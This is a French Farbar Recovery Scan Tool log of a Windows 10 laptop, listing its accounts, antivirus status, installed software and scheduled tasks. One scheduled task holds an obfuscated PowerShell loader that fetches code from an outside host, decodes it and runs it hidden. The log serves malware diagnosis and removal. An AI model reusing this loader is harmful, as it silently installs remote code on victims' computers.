Publicité
Publicité
Format du document : text/plain
Prévisualisation
Résultats de l'Analyse supplémentaire de Farbar Recovery Scan Tool (x64) Version:07-02-2016
Exécuté par gautier (2016-02-10 10:12:02)
Exécuté depuis C:\Users\gautier\Downloads
Windows 10 Home (X64) (2015-12-27 00:12:52)
Mode d'amorçage: Normal
==========================================================
==================== Comptes: =============================
Administrateur (S-1-5-21-3931589535-4086523293-663826503-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-3931589535-4086523293-663826503-503 - Limited - Disabled)
gautier (S-1-5-21-3931589535-4086523293-663826503-1001 - Administrator - Enabled) => C:\Users\gautier
Invité (S-1-5-21-3931589535-4086523293-663826503-501 - Limited - Disabled)
==================== Centre de sécurité ========================
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé.)
AV: Avira Antivirus (Enabled - Up to date) {4D041356-F94D-285F-8768-AAE50FA36859}
AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Avira Antivirus (Enabled - Up to date) {F665F2B2-DF77-27D1-BDD8-9197742422E4}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
==================== Programmes installés ======================
(Seuls les logiciels publicitaires ('adware') avec la marque 'caché' ('Hidden') sont susceptibles d'être ajoutés au fichier fixlist.txt pour qu'ils ne soient plus masqués. Les programmes publicitaires devront être désinstallés manuellement.)
Adobe Flash Player 20 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 20.0.0.306 - Adobe Systems Incorporated)
ASUS Backtracker (HKLM-x32\...\{C15C060C-ED1C-49EB-83B3-F7C0FD1CD661}) (Version: 3.0.3 - ASUS)
ASUS Live Update (HKLM-x32\...\{FA540E67-095C-4A1B-97BA-4D547DEC9AF4}) (Version: 3.2.6 - ASUS)
ASUS Power4Gear Hybrid (HKLM\...\{9B6239BF-4E85-4590-8D72-51E30DB1A9AA}) (Version: 3.0.6 - ASUS)
ASUS Screen Saver (HKLM\...\{0FBEEDF8-30FA-4FA3-B31F-C9C7E7E8DFA2}) (Version: 1.0.1 - ASUS)
ASUS Smart Gesture (HKLM-x32\...\{4D3286A6-F6AB-498A-82A4-E4F040529F3D}) (Version: 4.0.5 - ASUS)
ASUS Splendid Video Enhancement Technology (HKLM-x32\...\{0969AF05-4FF6-4C00-9406-43599238DE0D}) (Version: 2.01.0021 - ASUS)
ASUS USB Charger Plus (HKLM-x32\...\{A859E3E5-C62F-4BFA-AF1D-2B95E03166AF}) (Version: 3.1.7 - ASUS)
ASUSDVD (HKLM-x32\...\InstallShield_{DEC235ED-58A4-4517-A278-C41E8DAEAB3B}) (Version: 10.0.5710.52 - CyberLink Corp.)
ASUSDVD (x32 Version: 10.0.5710.52 - CyberLink Corp.) Hidden
AsusVibe2.0 (HKLM-x32\...\Asus Vibe2.0) (Version: 2.0.12.311 - ASUSTEK)
ATK Package (HKLM-x32\...\{AB5C933E-5C7D-4D30-B314-9C83A49B94BE}) (Version: 1.0.0031 - ASUS)
Avira Antivirus (HKLM-x32\...\Avira Antivirus) (Version: 15.0.15.129 - Avira Operations GmbH & Co. KG)
Avira Launcher (HKLM-x32\...\{ccdc9cfe-8ba7-4c6c-ac5f-b2d6cfa49efc}) (Version: 1.1.54.24924 - Avira Operations GmbH & Co. KG)
Avira Launcher (x32 Version: 1.1.54.24924 - Avira Operations GmbH & Co. KG) Hidden
CCleaner (HKLM\...\CCleaner) (Version: 5.13 - Piriform)
HP Support Solutions Framework (HKLM-x32\...\{C18278AC-049A-4F02-A97F-4FD7294CC4F5}) (Version: 12.0.30.473 - HP)
Intel(R) Dynamic Platform and Thermal Framework (HKLM-x32\...\FFD10ECE-F715-4a86-9BD8-F6F47DA5DA1C) (Version: 7.1.0.2103 - Intel Corporation)
Intel(R) Management Engine Components (HKLM-x32\...\{65153EA5-8B6E-43B6-857B-C6E4FC25798A}) (Version: 9.6.0.1038 - Intel Corporation)
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 10.18.15.4256 - Intel Corporation)
Java 8 Update 66 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F83218066F0}) (Version: 8.0.660.18 - Oracle Corporation)
Microsoft Office 365 - fr-fr (HKLM\...\O365HomePremRetail - fr-fr) (Version: 16.0.6366.2062 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Mises à jour NVIDIA 10.4.0 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Update) (Version: 10.4.0 - NVIDIA Corporation)
Mozilla Firefox 43.0.4 (x86 fr) (HKLM-x32\...\Mozilla Firefox 43.0.4 (x86 fr)) (Version: 43.0.4 - Mozilla)
Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 43.0.4.5848 - Mozilla)
NVIDIA PhysX System Software 9.13.0927 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.13.0927 - NVIDIA Corporation)
NVIDIA Pilote graphique 353.84 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 353.84 - NVIDIA Corporation)
Office 16 Click-to-Run Extensibility Component (x32 Version: 16.0.6326.1022 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Licensing Component (Version: 16.0.6326.1022 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Localization Component (x32 Version: 16.0.6326.1022 - Microsoft Corporation) Hidden
Package de pilotes Windows - ASUS (ATP) Mouse (06/17/2015 1.0.0.262) (HKLM\...\14588A15B66655338DBCC021FFA81E31DC281859) (Version: 06/17/2015 1.0.0.262 - ASUS)
Panneau de configuration NVIDIA 353.84 (Version: 353.84 - NVIDIA Corporation) Hidden
Qualcomm Atheros Bluetooth Suite (64) (HKLM\...\{A84A4FB1-D703-48DB-89E0-68B6499D2801}) (Version: 8.0.1.312 - Qualcomm Atheros Communications)
Qualcomm Atheros Client Installation Program (HKLM-x32\...\{28006915-2739-4EBE-B5E8-49B25D32EB33}) (Version: 10.0 - Qualcomm Atheros)
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 6.2.9200.21236 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 8.20.815.2013 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7119 - Realtek Semiconductor Corp.)
Skype Click to Call (HKLM-x32\...\{6D1221A9-17BF-4EC0-81F2-27D30EC30701}) (Version: 8.0.0.9103 - Microsoft Corporation)
Skype™ 7.18 (HKLM-x32\...\{FC965A47-4839-40CA-B618-18F486F042C6}) (Version: 7.18.109 - Skype Technologies S.A.)
Update Installer for WildTangent Games App (x32 Version: - WildTangent) Hidden
WebStorage (HKLM-x32\...\WebStorage) (Version: 2.0.3.226 - ASUS Cloud Corporation)
WildTangent Games App (HKLM-x32\...\{70B446D1-E03B-4ab0-9B3C-0832142C9AA8}.WildTangent Games App-asus) (Version: 4.0.10.25 - WildTangent)
WinFlash (HKLM-x32\...\{8F21291E-0444-4B1D-B9F9-4370A73E346D}) (Version: 2.42.0 - ASUS)
==================== Personnalisé CLSID (Avec liste blanche): ==========================
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.)
CustomCLSID: HKU\S-1-5-21-3931589535-4086523293-663826503-1001_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\localserver32 -> C:\Users\gautier\AppData\Local\Microsoft\OneDrive\17.3.6281.1202\FileCoAuth.exe (Microsoft Corporation)
==================== Tâches planifiées (Avec liste blanche) =============
(Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.)
Task: {073FE2F6-4B3C-4D9E-B03C-F73AFC9D52F1} - System32\Tasks\ASUS InstantOn Config => C:\Program Files\ASUS\P4G\InsOnCfg.exe
Task: {0FED3BC2-5BB3-44BE-9302-2A4C4B4F68AA} - System32\Tasks\ASUS Smart Gesture Launcher => C:\Program Files (x86)\ASUS\ASUS Smart Gesture\AsTPCenter\x64\AsusTPLauncher.exe [2015-08-23] (AsusTek)
Task: {5B6B4F1E-00F5-45B2-91C1-150D2C35F603} - System32\Tasks\P4GIntlCtrl => C:\Program Files\ASUS\P4G\IntlDPST.exe [2013-08-29] ()
Task: {7E318853-8069-4C19-9649-C2D1C63C205F} - System32\Tasks\ASUS USB Charger Plus => C:\Program Files (x86)\ASUS\USBChargerPlus\USBChargerPlus.exe [2013-08-29] (ASUSTek Computer Inc.)
Task: {802E88C9-5A12-4A1C-BCE8-AE25A97635CA} - System32\Tasks\ASUS Live Update1 => C:\Program Files (x86)\ASUS\ASUS Live Update\LiveUpdate.exe [2013-08-28] (ASUSTeK Computer Inc.)
Task: {920812C1-18C7-4B3E-A9D1-AE8972216A6F} - System32\Tasks\AsusVibeSchedule => C:\Program Files (x86)\Asus\AsusVibe\AsusVibeLauncher.exe [2013-11-04] ()
Task: {A13B3D33-0AB9-47A6-99FB-61931B296869} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\WINDOWS\system32\MRT.exe [2016-01-15] (Microsoft Corporation)
Task: {A5A0BDFE-029C-47DA-8831-B7460726AB06} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Report => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSFReport.exe [2016-01-12] (Hewlett-Packard Company)
Task: {A7742CC1-7929-450A-8D11-B8EB4437CA05} - System32\Tasks\{0D790D47-7F04-0D0E-7E11-087A0B0A1109} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAHMAZQBjAHUAcgBlAGIALgBpAG4AZgBvAC8AdQAvAD8AYQA9AHIAeQAzAHkAWQBjAGsAcQB6AHYATQBWADMAagBYAFEATwBmADAAYgA3ADMAZgBuAGMARQBjADgAZABhAHQAagByADUANwBfAFgASQBiAGUAeQBFAEkARwBNAE0AegBJAEsAYgB1ADYAYwB1ADcAbABSAFEAOAA4ADcAYQBWAG8AUQBuAGUAdgBaADgARwB5AE0ASQBjAHUAcQBNAFcAagBiAHYASABCAC0AaQBqAEcAagBLAE8AbgAyAGQAMwBRAEsAMABnAFcAcAB4AGoAeABTAGYAYwBuAHMAXwBmADAAWABzAFAALQBjAEIAVQBpAEIAbQBqAHgAUgB2AFoATwA2ADEAeABVADAAagBxAEkAOQB3AEYAYQBCAGYAcwBHAEcAbQByAGEAeABjADAARAA5AEMAdgBYAEoAWgA5AGcAQQBhAFcATgBPAHAASwBsAGEAWgByAFQAMAA1AGoANABMAEMAYwBVAEcAWQBFADkAQQB4AEkAYgB6AGYAcgBHADIAegAyAC0AawBrAHAAWQBZAFIAMQA3AE0AWAAtAGkAQwBrADYATgBJAGIAdQA0AE0AdwBXAE4AcAB4AE8AVAA3AG8ATgBXAFMAegBOAGoAOQBUAEkAegB4AGMANABiAGkAYwA2AFUAQwBfAEsAQgAwAEIARAAtAFgAWgBNAHAANQBpAFMAMAA2AEcAWgA0AGcARQBuAFIAZAA1AGUAWABtADEARwBpAGsAZwBlADcAbwBwAGQAMwBXAEIASAAyADgAVAB5AEYASQBWAHMAZQBRADUAQgBjAC0AWgBHAFUAOAB0ADkAegBnAGkATgBEADkAVgAwAEkATwBFAFYAcAB1ADUAawBvAEEAWgBCAEQAaQBxAEQANwBSAEwAcQB3AFQAZwBVAHoAZAAtAEoANwBzAHEAcgBmAFgAYgB3AF8AbQBBAEkAVABhAEIAaQBqAEEASgBKAHIARwB5AF8AYwBxAFQAawA4ADEAdgBEADMAZABHAEQANgBMAGkAZABxAGwAZABjAFMAWQAzAHQAQgBVAHIAQQBvADEAdQBTAGgAUABSAGsAUQAtAFgASABSAGYANABCAEQATABkADkAYgBhAEQAUgBwAFQAdABiADUAdABNAGwAVAB2AFMAdgBpAFYASgAtADgAUABkAFYARwA4AHgAdgA2AFMAVAAwADYAawAzADgANQA2AEoARwBWAFQARQB3ADYAOQBHAF8AQwBTADIANAB1AGkANQA1AGkATABVAEMAYgAwAHAAbgBqAHIANwBaAHQAZQAtAHAAcABrAGQAdABsAGcAMwBSADcAZwBxAG4AXwB1AHYANgBiAE8AUgA5ADMANwBSAGcAUwBLAEwAWgA3AGIAbgBmAEMARAA0AEoASwBoADEAeABtAEUAOABqAEcAUgBKAC0AZwBQAGUAZwB5AE8ARwBOAEQAeAA0AFYAeABlAGgAUQBPAHMAeABmAHAAeAB2ADkATQBpAEEAegBqAEMAegB3AHUAMwBlAFkAdgBKAFIAdAA2AEwAQgBwAG0AaQBOAEoAbABsAE4ASgBwADYAQgBkAHEAegB6AG8AOAAzAFAAdAA3AEsATABMAEUAegBwAEYAVgA5AFgAYgBiAGgAegBlAFoAZQBFAE0ANwBPADUAagA1AEcAXwBZAGgAWQBNAHcAagBUAGEARAAwAGYASwB6ADkAUgByAHAAcQBFAHoARwBxAHAATAA0AEYAegBmAG4AagBXAFkAMwBpADYAbABVAFMAagBqAEwATAA3AEwARgBlAEgAbQAxAEIAbQBSAGQAYQBBAC0AbQBBAFQAaABjAFAAWABPADAAdQBVAEIATgBtAEMAZABxAEwALQB1AGIAagA1AG4AVwBBAEYAUABGAGsANQB6AEcAagA3AEkAegBtADEAMgBtAEEAaQBNADgAWABsADAAVwBUADAAMQBDAG4AdABpADIAWgBGAGwAMwBkADkAdQBvAEgAZAAyADYAUQBpAHEAegBxAEYANAAwAEoAZgBXADUAcABoAHcALQA0AFIAawBwAFgANwBYAEMANwAyAHUATwA1AEkAVwA4AE8AVgBkAEcAOAB2ADIARgBJAFIATABZAGcAaQA5AEIAVQBtAGgAcQBDAC0ATgAtAFYAWABPAEsAaQAzAHgAbQBFAFQANwBuADkAOQBfAEoAVgBSAHcAeQBRAFEAZAAtAEsATgAxAHgANwAzAC0AYQBTAGUAVQBKADAAbwBKAFEAXwBPAC0AZQBmAFcANQBHAGIAcABNAE0AaQBiAC0ALQBSADAAZwByADQAOQBaAG0AVQBnAFQALQA4AFAAbAB6AEkAeQBFADgANgBVAHcATABoAEEAQgBDACYAYwA9AGgAVQBwAHIANAB3AHIAdwBaAHoAMgBXAFgANgAtADkAMQBaAEoAUABHAEgAagBrAGsAbwBaAHYAWQBFAFEAUABRAHQAMwBmAHoAOQBSADgAUwBiAGYAcgBnAGQARQBBAHkAdgAwAHoAOQBkAHIAeQBxADgAOQBRAGEAMgBFAGsAaABtAHcAZgBSADMAcwBXAE4ANgAwAGsAZwBIAEcANwB0AGIAVgB4AEkAOABZAGEAeQBLAFgAcAB1AGcAYgBEAGUAOQBLADgAbwBsAGkAMAA0AGYATgAtADUASgB4AE0AMAA4AGgAZwBkADYAcwBvADAAWgA3AG0ANwAwAGQAXwBvAFMAUwBBADQAOAB4AGwAUQBVAGcAOABjAHIAOQBnAGYATgB0ADEAbwBlAHgATAB4AGsAcABRADkAaABqAG0AYgBrAFQAbQBzAC0ANgBHAEgAcgBaAFoAUABWAEcAbABDAFkARgBGAC0AQgAtAGoAdwB2AGEAMgBLAG4AUAA5ADIAWABGADgANgAwAGIAOQBtAEkAUgA1AG4AdgBsAGsAbwB0AHAARgBzAF8AbABDAEwAdgBPADkARQBEAHoANwAtAEgASgBkAHkAawBwAEEAbQBKAGoAQwA0AGwAeQA2AEoAYgBCAGUAdwBtAFkANwByAHEAaABTADcAcwBOADIARQBhAHEAQQBIAG4AdQB2ADMAZABBAHUAegBDAF8AUQBpAHgAQwBQAE0AbQB2AE8AdQBzAGoAMQBOAGcAawAtAGwAUwBZADMAegBDAGUAWABYAG4AMwAzAEIAZgBEADMAegBkAGUAZgBvAHIAcgBpAGUAWABrAC0AdgBjADEAdwBsAEgATwB1AGoAMQBBAGUAbAA2ADcAQwByAFcARQBjAFYALQB1AGoAcABiAGEANABMAHkATwBIAFQAZgAtAHMAMQBoAGEATgBSADQALQBuADMAcgBlAEgAbQBIAFAAbgB1AHYAVAB0ADUAaQBmAHgAWgBjAF8AdAAyAFQAQQBMAE8AcwBNADcAbAByAEkAXwBmAEMALQByAHAAZwB4AFUARwBXAGUAMgBCAG8ATQB4ADgAYwBMADcAMwAxAFMANABmAGQAdQBVAHYAYQBZAEcAUwBFAF8AcQBiAG0AQgBFAE8AMwA1AG0AZwBDADUAYgBEAEcASAAzAEgAeQBoAGEAawBIAFcATQBQAHEAcgA2ADIAYQBaAEwASQA3AGoASwBSAHkAUABzADAATwBPAG8AcgA3AHEAdgBUAGMAbwBwADAAaQBMAGsAYQBFAGUAbQA2AFkAVQBpAG8AdQBhADkAQQBlAC0AcAAyAHMALQBlAGcAVgBOAGYAaABrAHYAcgBBAHAANQBEAFkAQwA2AFkARwBLAE4ASQBuAFYASQB0ADcAMQBsAEgAUwBRAG8AVwBFAGYAdgBqAFYAMwBPADgAVwA5AFkASABoADQAUABmAGwAXwB1AGgATQBoAHAAawBYAC0AXwBHAGoAWgBoAC0AeAB3AHUAdwBZAHUAOQBrAGgAcAAwADkATwBEADMAUgAtAG0AdQBEADQASQBlAGkAMQBYAGwAUABLAFIAVgAzAE8ARwB5AHUAZABPAEwARgA3AGkAMgBtAGkANQBuADUARQB3AFMAZwBUAG0AVQBYAGwARQBYADcANgBtAGMAOQA4ADQARABFAHYAWgBYAFYAbQAyAEIAMwBYAEgAXwBkAHYAUwBUAGgAcgBiAEEALQB1AHAAMABPAEYAXwBZAEkALQBpAC0AdwBSAGsAcAAwAEoANwBRAFkAcgB0AEEAbABoAFoAUgBWAGgAdABwAEIAOQBBAE4AaAB4ADAASgBQAHoAWgBsAEoALQB4AEsAeQBLAHYAWAAzAFcAUQA5AGwASwBqAGIAXwBYAE4AcgBUADgAZgB0AHIARgBMAFEATgAzAGkARgB0AG0AdQBlAEcAVABEAHcAMgB1AEEAZgB6AEwAdAAyAGsAQQBYAEcASQBaAEoAQwBHADYAaQBlAEIAZwA0AEwAZwBpAHIAXwA0AHcANwBtAFUASABOAGYAbABDAHMAUgA5AGcAdgB1AFAAcwBNADAARQAtAEcARwBFAFcAegBVAGsAegBrAFYAZAB2AEYARAB3AEsAcwBoAFoAaABWADgAbwBxADMAVwBzADEAcQBIAE4AUgA0AGgASgB2AFEANABxAFUALQAyADQAdwBTAHkAYgA0AEwATABxAFMAUQByAGwAMABLAGIAVwB6AEMAYgAzAHMANwBTAFMAQgBFADYAZwB0AGcAMABrAGcAYQBCAGMAWQBEAHEANwB1AGEATwBaADIARABoAHoAdQB6AGwAUwA5AFIATwBxAHoAegBVAHYAcwA3AFoAQwBFADMAUwBWAGoASAAxAEwAWgBZAEUAZgBTAGcANAAzAHgAMQBiAEIAJgByAD0AMwA0ADgAOAAxADgANwA5ADQAMAA5ADgANQAxADQANgAxADkAOAAiADsAJABzAHQAcwBrAD0AIgB7ADAARAA3ADkAMABEADQANwAtADcARgAwADQALQAwAEQAMABFAC0ANwBFADEAMQAtADAAOAA3AEEAMABCADAAQQAxADEAMAA5AH0AIgA7ACQAcAByAGkAZAA9ACIAUwB5AHMAdABlAG0ASABlAGEAbABlAHIAIgA7ACQAaQBuAGkAZAA9ACIAWQBSAFkAVABQAFgAVQBQACIAOwB0AHIAeQB7AGkAZgAoACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4ALgBNAGEAagBvAHIAIAAtAGwAdAAgADIAKQB7AGIAcgBlAGEAawA7AH0AJAB2AD0AWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBPAFMAVgBlAHIAcwBpAG8AbgAuAFYAZQByAHMAaQBvAG4AOwAKAGkAZgAoACQAdgAuAE0AYQBqAG8AcgAgAC0AZQBxACAANQApAHsAaQBmACgAKAAkAHYALgBNAGkAbgBvAHIAIAAtAGwAdAAgADIAKQAgAC0AQQBOAEQAIAAoACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBTAGUAcgB2AGkAYwBlAFAAYQBjAGsATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAtAGwAdAAgADIAKQApAHsAYgByAGUAYQBrADsAfQB9AAoAaQBmACgALQBOAE8AVAAgACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAUAByAGkAbgBjAGkAcABhAGwAXQBbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBJAGQAZQBuAHQAaQB0AHkAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdAAoACkAKQAuAEkAcwBJAG4AUgBvAGwAZQAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEIAdQBpAGwAdABJAG4AUgBvAGwAZQBdACAAIgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACIAKQApAHsAYgByAGUAYQBrADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAHcAYwAoACQAdQByAGwAKQB7ACQAcgBxAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBxAC4AVQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAPQAkAHQAcgB1AGUAOwAkAHIAcQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAdQBzAGUAcgAtAGEAZwBlAG4AdAAiACwAIgBNAG8AegBpAGwAbABhAC8ANAAuADAAIAAoAGMAbwBtAHAAYQB0AGkAYgBsAGUAOwAgAE0AUwBJAEUAIAA3AC4AMAA7ACAAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAKQAiACkAOwByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAHEALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQApADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAcwB0AHIAKAAkAHIAYQB3AGQAYQB0AGEAKQB7ACQAYgB0AD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AGQAYQB0AGEAKQA7ACQAZQB4AHQAPQAkAGIAdABbADAAXQA7ACQAawBlAHkAPQAkAGIAdABbADEAXQAgAC0AYgB4AG8AcgAgADEANwAwADsAZgBvAHIAKAAkAGkAPQAyADsAJABpACAALQBsAHQAIAAkAGIAdAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAHQAWwAkAGkAXQA9ACgAJABiAHQAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACgAKAAkAGsAZQB5ACAAKwAgACQAaQApACAALQBiAGEAbgBkACAAMgA1ADUAKQApADsAfQAKAHIAZQB0AHUAcgBuACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACQAYgB0ACwAMgAsACgAJABiAHQALgBMAGUAbgBnAHQAaAAtACQAZQB4AHQAKQApACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwB9AAoAJABzAGMAPQBkAHMAdAByACgAdwBjACgAJABzAHUAcgBsACkAKQA7AEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AYwBvAG0AbQBhAG4AZAAgACIAJABzAGMAIgA7AH0AYwBhAHQAYwBoAHsAfQA7AGUAeABpAHQAIAAwADsA
Task: {AE435AFC-7A57-4E83-A294-EDC88CA9E708} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Updater => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSSFUpdater.exe [2016-01-06] (Hewlett-Packard)
Task: {AEB0CC42-B029-44B2-9B12-AF402C9F460C} - System32\Tasks\ASUS Splendid ColorU => C:\Program Files (x86)\ASUS\Splendid\ColorUService.exe [2013-10-07] (ASUSTeK Computer Inc.)
Task: {B9958A81-A853-4D60-8207-31A14BCC08B5} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [2015-12-08] (Piriform Ltd)
Task: {BEBFBCC3-98A9-4DC6-9137-3E87E6FDC7F6} - System32\Tasks\Adobe Flash Player Updater => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2016-02-09] (Adobe Systems Incorporated)
Task: {CDEE2EB9-793D-4A9D-B324-D4A9FBAA15D9} - System32\Tasks\ASUS P4G => C:\Program Files\ASUS\P4G\BatteryLife.exe [2013-08-29] (ASUS)
Task: {DA1E4871-1F19-46EA-8277-2D46B4D3599E} - System32\Tasks\Microsoft\Office\Office Automatic Updates => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [2016-01-17] (Microsoft Corporation)
